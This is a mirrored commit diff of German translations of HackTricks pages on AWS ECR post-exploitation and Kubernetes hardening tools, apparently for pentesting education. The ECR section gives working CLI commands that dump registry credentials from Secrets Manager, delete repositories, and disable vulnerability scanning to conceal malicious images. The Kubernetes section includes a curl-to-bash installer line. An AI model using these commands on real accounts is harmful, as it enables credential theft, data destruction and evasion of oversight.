gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-28 05:33:10 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har

Browse Source
This commit is contained in:
Translator
2025-12-17 10:12:17 +00:00
parent d11d24d6e4
commit 6c53f7a73c
2 changed files with 177 additions and 72 deletions
Download Patch File Download Diff File Expand all files Collapse all files

70
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Nach dem Herunterladen der Images solltest du **sie auf sensible Informationen prüfen**:
Nachdem Sie die Images heruntergeladen haben, sollten Sie **diese auf sensible Informationen prüfen**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
Ein Angreifer mit irgendeiner dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Container-Images führen.
Ein Angreifer mit einer dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Container-Images führen.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
### Exfiltrate Upstream-Registry-Anmeldeinformationen aus ECR Pull‑Through Cache (PTC)
Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Zugangsdaten in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren ECR-Admins manchmal breite Secrets Manager-Leserechte, wodurch credential exfiltration und Wiederverwendung außerhalb von AWS möglich werden.
Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Anmeldeinformationen in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren ECR-Admins manchmal breite Lesezugriffe auf Secrets Manager, was credential exfiltration und die Wiederverwendung außerhalb von AWS ermöglicht.
Requirements
Voraussetzungen
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Potenzielle PTC-Secrets auflisten
Auflisten möglicher PTC-Secrets
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Gefundene secrets dumpen und gemeinsame Felder parsen
Dump entdeckte secrets und parse häufige Felder
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -119,20 +119,20 @@ Optional: leaked creds gegen das upstream validieren (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Auswirkung
- Das Auslesen dieser Secrets Manager-Einträge liefert wiederverwendbare Upstream-Registry-Zugangsdaten (Benutzername/Passwort oder Token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder je nach Upstream-Berechtigungen auf zusätzliche Repositories zuzugreifen.
- Das Lesen dieser Secrets Manager-Einträge liefert wiederverwendbare upstream-Registry-Zugangsdaten (Benutzername/Passwort oder Token), die außerhalb von AWS missbraucht werden können, um private images zu pullen oder je nach upstream-Berechtigungen auf zusätzliche Repositories zuzugreifen.
### Registry-Ebene Verschleierung: Scanning deaktivieren oder herabstufen via `ecr:PutRegistryScanningConfiguration`
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
Ein Angreifer mit Registry-Ebene ECR-Berechtigungen kann stillschweigend die automatische Vulnerability-Scan-Funktion für ALLE Repositories reduzieren oder deaktivieren, indem er die Registry-Scanning-Konfiguration auf BASIC ohne scan-on-push-Regeln setzt. Dadurch werden neue Image-Pushes nicht automatisch gescannt, was verwundbare oder bösartige Images verbirgt.
Ein Angreifer mit registry-weiten ECR-Berechtigungen kann stillschweigend die automatische Schwachstellen-Überprüfung für ALLE Repositories reduzieren oder deaktivieren, indem er die registry scanning configuration auf BASIC setzt, ohne scan-on-push-Regeln. Dadurch werden neue image pushes nicht automatisch gescannt, wodurch verwundbare oder bösartige images verborgen werden.
Voraussetzungen
Anforderungen
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (Überprüfung)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Registryweite Herabstufung auf manuell (keine Auto-Scans)
Registry-weites Herabstufen auf manuell (keine automatischen Scans)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
--scan-type BASIC \
--rules '[]'
```
Test mit einem repo und image
Test mit einem repo und einem image
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Optional: weiter einschränken auf Repository-Ebene
Optional: Weitere Degradierung auf Repository-Ebene
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
Auswirkung
- Neue Image-Pushes in der Registry werden nicht automatisch gescannt, wodurch die Sichtbarkeit von verwundbarem oder bösartigem Inhalt reduziert und die Erkennung verzögert wird, bis ein manueller Scan gestartet wird.
- Neue Image-Pushes über die gesamte Registry werden nicht automatisch gescannt, wodurch die Sichtbarkeit verwundbarer oder bösartiger Inhalte reduziert wird und die Erkennung verzögert wird, bis ein manueller Scan initiiert wird.
### Registry‑weiter Downgrade der Scanning-Engine mittels `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
### Registry‑weites Downgrade der Scan-Engine über `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
Verringere die Qualität der Vulnerability-Erkennung für die gesamte Registry, indem du die BASIC-Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umstellst. Das deaktiviert das Scannen nicht, kann jedoch die Findings/Abdeckung wesentlich verändern. Kombiniere dies mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln, um Scans nur manuell durchzuführen.
Verringert die Qualität der Schwachstellenerkennung in der gesamten Registry, indem die BASIC Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umgestellt wird. Das deaktiviert Scans nicht, kann aber die Ergebnisse/Abdeckung erheblich verändern. Kombination mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln macht Scans ausschließlich manuell.
Anforderungen
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
Auswirkung
- Registry-Einstellung `BASIC_SCAN_TYPE_VERSION` wird auf `CLAIR` gesetzt, sodass nachfolgende BASIC-Scans mit der herabgestuften Engine ausgeführt werden. CloudTrail protokolliert den `PutAccountSetting` API-Aufruf.
- Registry-Einstellung `BASIC_SCAN_TYPE_VERSION` wird auf `CLAIR` gesetzt, sodass nachfolgende BASIC-Scans mit der heruntergestuften Engine ausgeführt werden. CloudTrail protokolliert den `PutAccountSetting` API-Aufruf.
Schritte
```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### ECR-Images auf vulnerabilities scannen
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}

179
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
View File

@@ -1,4 +1,4 @@
# Kubernetes Hardening
# Kubernetes-Härtung
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
Es führt **mehrere Compliance-Prüfungen am Kubernetes-Cluster** durch. Es bietet Unterstützung für CIS sowie die Cybersecurity Technical Reports der National Security Agency (NSA) und der Cybersecurity and Infrastructure Security Agency (CISA) zur Härtung von Kubernetes.
Es führt **mehrere Compliance-Checks für den Kubernetes-Cluster** durch. Es enthält Unterstützung für CIS sowie die Empfehlungen der National Security Agency (NSA) und den Cybersecurity Technical Report der Cybersecurity and Infrastructure Security Agency (CISA) zur Kubernetes-Härtung.
```bash
# Install Steampipe
brew install turbot/tap/powerpipe
@@ -27,18 +27,19 @@ powerpipe server
```
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) ist ein Open-Source-Tool für K8s, das ein zentrales Dashboard für multi-cloud K8s bietet, einschließlich Risikoanalyse, Sicherheits-Compliance, RBAC visualizer und Scanning von Image-Schwachstellen. Kubescape scannt K8s-Cluster, YAML-Dateien und HELM charts, erkennt Fehlkonfigurationen gemäß mehreren Frameworks (wie dem [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), Software-Schwachstellen und RBAC (rollenbasierte Zugriffskontrolle)-Verstöße bereits in frühen Phasen der CI/CD-Pipeline, berechnet sofort einen Risiko-Score und zeigt Risiko-Trends im Zeitverlauf.
[**Kubescape**](https://github.com/armosec/kubescape) ist ein K8s Open-Source-Tool, das ein einheitliches Multi-Cloud-Dashboard bereitstellt und Risikoanalyse, Sicherheits-Compliance, RBAC-Visualizer und Scans auf Image-Schwachstellen umfasst. Kubescape scannt K8s-Cluster, YAML-Dateien und HELM-Charts und erkennt Fehlkonfigurationen gemäß mehreren Frameworks (wie dem [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), Software-Schwachstellen und RBAC (role-based-access-control)-Verstöße in frühen Phasen der CI/CD-Pipeline, berechnet sofort einen Risikoscore und zeigt Risikotendenzen im Zeitverlauf.
```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose
```
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) ist ein Dienstprogramm, das live Kubernetes-Cluster scannt und **meldet potenzielle Probleme mit bereitgestellten Ressourcen und Konfigurationen**. Es säubert Ihr Cluster basierend auf dem, was tatsächlich bereitgestellt ist, und nicht auf dem, was auf der Festplatte liegt. Durch das Scannen Ihres Clusters erkennt es Fehlkonfigurationen und hilft Ihnen sicherzustellen, dass Best Practices eingehalten werden, und verhindert so zukünftige Kopfschmerzen. Es zielt darauf ab, die kognitive Überlastung zu reduzieren, die beim Betrieb eines Kubernetes-Clusters in der freien Wildbahn entsteht. Außerdem, wenn Ihr Cluster einen metric-server verwendet, meldet es mögliche Über-/Unter-Allokationen von Ressourcen und versucht, Sie zu warnen, falls Ihr Cluster die Kapazität erschöpft.
[**Popeye**](https://github.com/derailed/popeye) ist ein Dienstprogramm, das laufende Kubernetes-Cluster scannt und **mögliche Probleme mit bereitgestellten Ressourcen und Konfigurationen meldet**. Es bereinigt Ihren Cluster basierend auf dem, was bereitgestellt ist, und nicht auf dem, was auf der Festplatte liegt. Durch das Scannen Ihres Clusters erkennt es Fehlkonfigurationen und hilft Ihnen sicherzustellen, dass Best Practices eingehalten werden, wodurch zukünftige Probleme vermieden werden. Es hat sich zum Ziel gesetzt, die kognitive \_Überlastung zu reduzieren, der man beim Betreiben eines Kubernetes-Clusters in freier Wildbahn ausgesetzt ist. Außerdem, falls Ihr Cluster einen metric-server verwendet, meldet es mögliche Über-/Unter-Allokationen von Ressourcen und versucht, Sie zu warnen, falls Ihrem Cluster die Kapazität ausgeht.
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
Das Tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) ist ein Werkzeug, das überprüft, ob Kubernetes sicher bereitgestellt ist, indem es die im [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) dokumentierten Prüfungen ausführt.\
Das Tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) prüft, ob Kubernetes sicher bereitgestellt ist, indem es die in den [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
dokumentierten Checks ausführt.
Sie können wählen:
- kube-bench aus einem Container heraus ausführen (PID-Namespace mit dem Host teilen)
@@ -48,9 +49,9 @@ Sie können wählen:
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[VERALTET]** Das Tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) ist ein Kommandozeilen-Tool und ein Go-Paket, um **Kubernetes-Cluster zu prüfen** hinsichtlich verschiedener Sicherheitsaspekte.
**[DEPRECATED]** Das Tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) ist ein Kommandozeilen-Tool und ein Go-Paket, um **Kubernetes-Cluster zu auditieren** auf verschiedene Sicherheitsaspekte hin.
Kubeaudit kann erkennen, ob es innerhalb eines Containers in einem Cluster läuft. Falls ja, versucht es, alle Kubernetes-Ressourcen in diesem Cluster zu prüfen:
Kubeaudit kann erkennen, ob es innerhalb eines Containers in einem Cluster läuft. Falls ja, versucht es, alle Kubernetes-Ressourcen in diesem Cluster zu auditieren:
```
kubeaudit all
```
@@ -58,26 +59,26 @@ Dieses Tool hat außerdem das Argument `autofix`, um **erkannte Probleme automat
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[VERALTET]** Das Tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) durchsucht Kubernetes-Cluster nach Sicherheitslücken. Es wurde entwickelt, um das Bewusstsein und die Sichtbarkeit für Sicherheitsprobleme in Kubernetes-Umgebungen zu erhöhen.
**[VERALTET]** Das Tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) sucht nach Sicherheitslücken in Kubernetes-Clustern. Das Tool wurde entwickelt, um das Bewusstsein und die Sichtbarkeit für Sicherheitsprobleme in Kubernetes-Umgebungen zu erhöhen.
```bash
kube-hunter --remote some.node.com
```
### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) hat Scanner, die nach Sicherheitsproblemen suchen, und unterstützt die folgenden Ziele, auf denen diese Probleme gefunden werden können:
[Trivy](https://github.com/aquasecurity/trivy) hat Scanner, die nach Sicherheitsproblemen suchen, und Zielbereiche, in denen diese Probleme gefunden werden können:
- Container Image
- Filesystem
- Git Repository (remote)
- Container-Image
- Dateisystem
- Git-Repository (remote)
- Virtual Machine Image
- Kubernetes
### [**Kubei**](https://github.com/Erezf-p/kubei)
**[Scheint nicht mehr gewartet zu werden]**
**[Scheint nicht gepflegt zu sein]**
[**Kubei**](https://github.com/Erezf-p/kubei) ist ein Tool zum Scannen nach Sicherheitslücken und ein CIS Docker-Benchmark-Tool, das es Nutzern ermöglicht, eine genaue und unmittelbare Risikoabschätzung ihrer Kubernetes-Cluster zu erhalten. Kubei scannt alle Images, die in einem Kubernetes-Cluster verwendet werden, einschließlich Images von Anwendungs-Pods und System-Pods.
[**Kubei**](https://github.com/Erezf-p/kubei) ist ein Tool zum Scannen nach Schwachstellen und für das CIS Docker Benchmark, das Benutzern eine genaue und sofortige Risikobewertung ihrer Kubernetes-Cluster ermöglicht. Kubei scannt alle Images, die in einem Kubernetes-Cluster verwendet werden, einschließlich Images von Application Pods und System Pods.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
@@ -85,13 +86,13 @@ kube-hunter --remote some.node.com
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) ist ein Tool, das entwickelt wurde, um andere Arten von Hochrisiko-Checks zu testen im Vergleich zu den anderen Tools. Es bietet hauptsächlich 3 verschiedene Modi:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) ist ein Tool, das entwickelt wurde, um andere Arten von hochriskanten Prüfungen im Vergleich zu den anderen Tools zu testen. Es verfügt hauptsächlich über 3 verschiedene Modi:
- **`find-role-relationships`**: der ermittelt, welche AWS-Rollen in welchen Pods laufen
- **`find-secrets`**: der versucht, Secrets in K8s-Ressourcen wie Pods, ConfigMaps und Secrets zu identifizieren.
- **`test-imds-access`**: der versucht, Pods zu starten und auf die metadata v1 und v2 zuzugreifen. WARNUNG: Dies wird einen Pod im Cluster starten — sei sehr vorsichtig, da du das möglicherweise nicht tun möchtest!
- **`find-role-relationships`**: Findet, welche AWS-Rollen in welchen Pods laufen
- **`find-secrets`**: Versucht, Secrets in K8s-Ressourcen wie Pods, ConfigMaps und Secrets zu identifizieren.
- **`test-imds-access`**: Versucht, Pods zu starten und auf die Metadata v1 und v2 zuzugreifen. WARNUNG: Dies startet einen Pod im Cluster. Seien Sie sehr vorsichtig, da Sie dies möglicherweise nicht ausführen möchten!
## **Audit IaC Code**
## **IaC-Code auditieren**
### [**KICS**](https://github.com/Checkmarx/kics)
@@ -101,22 +102,22 @@ kube-hunter --remote some.node.com
[**Checkov**](https://github.com/bridgecrewio/checkov) ist ein statisches Code-Analyse-Tool für Infrastructure-as-Code.
Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) oder [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) bereitgestellt wurde, und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mittels graphbasiertem Scanning.
Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) oder [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) bereitgestellt wurde, und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mittels graphbasierter Scans.
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) ist ein Tool, das statische Code-Analyse deiner Kubernetes-Objektdefinitionen durchführt.
[**kube-score**](https://github.com/zegl/kube-score) ist ein Tool, das eine statische Code-Analyse deiner Kubernetes-Objektdefinitionen durchführt.
Zur Installation:
To install:
| Distribution | Befehl / Link |
| Distribution | Command / Link |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Vorgefertigte Binärdateien für macOS, Linux und Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| Homebrew (macOS und Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
## Tools to analyze YAML files & Helm Charts
## Tools zur Analyse von YAML-Dateien & Helm Charts
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
```bash
@@ -162,11 +163,83 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan -
```
## Abhängigkeitsprobleme scannen
### Container-Images scannen
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Helm charts scannen
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## Tipps
### Kubernetes PodSecurityContext und SecurityContext
Sie können den **Sicherheitskontext der Pods** (mit _PodSecurityContext_) und der **Container**, die ausgeführt werden sollen (mit _SecurityContext_), konfigurieren. Für mehr Informationen lesen:
Sie können den **security context der Pods** (mit _PodSecurityContext_) und der **Container**, die ausgeführt werden, (mit _SecurityContext_) konfigurieren. Für weitere Informationen lesen:
{{#ref}}
kubernetes-securitycontext-s.md
@@ -174,29 +247,29 @@ kubernetes-securitycontext-s.md
### Kubernetes API-Härtung
Es ist sehr wichtig, den Zugriff auf den Kubernetes Api Server zu schützen, da ein böswilliger Akteur mit ausreichenden Privilegien diesen missbrauchen und die Umgebung auf vielfältige Weise schädigen könnte.\
Wichtig ist, sowohl den **access** (**whitelist** origins, die auf den API Server zugreifen dürfen, und alle anderen Verbindungen ablehnen) als auch die [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (nach dem Prinzip der **least** **privilege**) abzusichern. Und auf keinen Fall **never** **allow** **anonymous** **requests**.
Es ist sehr wichtig, den Zugriff auf den Kubernetes Api Server zu schützen, da ein böswilliger Akteur mit ausreichenden Rechten diesen missbrauchen und die Umgebung auf viele Arten schädigen könnte.\
Wichtig ist, sowohl den **Zugriff** (**whitelist** Origins, die auf den API Server zugreifen dürfen, und alle anderen Verbindungen verweigern) als auch die [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (nach dem Prinzip der **least** **privilege**) abzusichern. Und auf keinen Fall **anonymous** **requests** zulassen.
**Common Request process:**\
**Common Request process:**\
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
**Tipps**:
- Schließen Sie Ports.
- Vermeiden Sie anonymen Zugriff.
- NodeRestriction; Kein Zugriff bestimmter Nodes auf die API.
- Ports schließen.
- Anonymen Zugriff vermeiden.
- NodeRestriction; kein Zugriff von bestimmten Nodes auf die API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Verhindert im Wesentlichen, dass kubelets Labels mit dem Präfix node-restriction.kubernetes.io/ hinzufügen/entfernen/aktualisieren. Dieses Label-Präfix ist für Administratoren reserviert, um ihre Node-Objekte zur Workload-Isolierung zu kennzeichnen, und kubelets dürfen diese Labels nicht ändern.
- Und erlaubt außerdem kubelets, diese Labels und Label-Präfixe hinzuzufügen/entfernen/zu aktualisieren.
- Stellen Sie mit Labels eine sichere Workload-Isolierung sicher.
- Verhindern Sie, dass bestimmte Pods Zugriff auf die API haben.
- Vermeiden Sie die Exponierung des ApiServer im Internet.
- Verhindern Sie unautorisierten Zugriff durch korrektes RBAC.
- ApiServer-Port mittels Firewall und IP-Whitelisting schützen.
- Verhindert im Wesentlichen, dass kubelets Labels mit dem Prefix node-restriction.kubernetes.io/ hinzufügen/entfernen/aktualisieren. Dieses Label-Prefix ist Administrators vorbehalten, um ihre Node objects zur Workload-Isolierung zu labeln, und kubelets dürfen Labels mit diesem Prefix nicht ändern.
- Und ermöglicht außerdem kubelets, diese Labels und Label-Prefixes hinzuzufügen/zu entfernen/zu aktualisieren.
- Sichere Workload-Isolierung mit Labels gewährleisten.
- Bestimmte Pods vom API-Zugriff ausschließen.
- ApiServer nicht dem Internet aussetzen.
- Unautorisierten Zugriff durch RBAC vermeiden.
- ApiServer-Port per Firewall und IP-Whitelisting absichern.
### SecurityContext-Härtung
Standardmäßig wird der root user verwendet, wenn ein Pod gestartet wird, falls kein anderer Benutzer angegeben ist. Sie können Ihre Anwendung in einem sichereren Kontext ausführen, indem Sie eine Vorlage ähnlich der folgenden verwenden:
Standardmäßig wird der root user verwendet, wenn ein Pod gestartet wird und kein anderer Benutzer angegeben ist. Du kannst deine Anwendung in einem sichereren Kontext ausführen, indem du eine Vorlage ähnlich der folgenden verwendest:
```yaml
apiVersion: v1
kind: Pod
@@ -225,30 +298,30 @@ allowPrivilegeEscalation: true
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### General Hardening
### Allgemeine Härtung
Sie sollten Ihre Kubernetes-Umgebung so häufig wie nötig aktualisieren, um Folgendes sicherzustellen:
Aktualisieren Sie Ihre Kubernetes-Umgebung so oft wie nötig, um Folgendes zu gewährleisten:
- Abhängigkeiten auf dem neuesten Stand.
- Fehler- und Sicherheits-Patches.
- Fehler- und Sicherheitspatches.
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Alle 3 Monate erscheint ein neues Minor-Release -- 1.20.3 = 1(Major).20(Minor).3(patch)
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Alle 3 Monate erscheint ein neues Minor-Release -- 1.20.3 = 1(Major).20(Minor).3(Patch)
**Die beste Methode, ein Kubernetes Cluster zu aktualisieren, ist (aus** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Der beste Weg, ein Kubernetes-Cluster zu aktualisieren, ist (von** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
- Aktualisieren Sie die Master-Node-Komponenten in folgender Reihenfolge:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- etcd (alle Instanzen).
- kube-apiserver (auf allen Control-Plane-Hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, if you use one.
- cloud controller manager, falls Sie einen verwenden.
- Aktualisieren Sie die Worker-Node-Komponenten wie kube-proxy, kubelet.
## Kubernetes monitoring & security:
## Kubernetes-Monitoring & Sicherheit:
- Kyverno Policy Engine
- Cilium Tetragon - eBPF-basierte Security Observability und Runtime Enforcement
- Network Security Policies
- Falco - Runtime security monitoring & detection
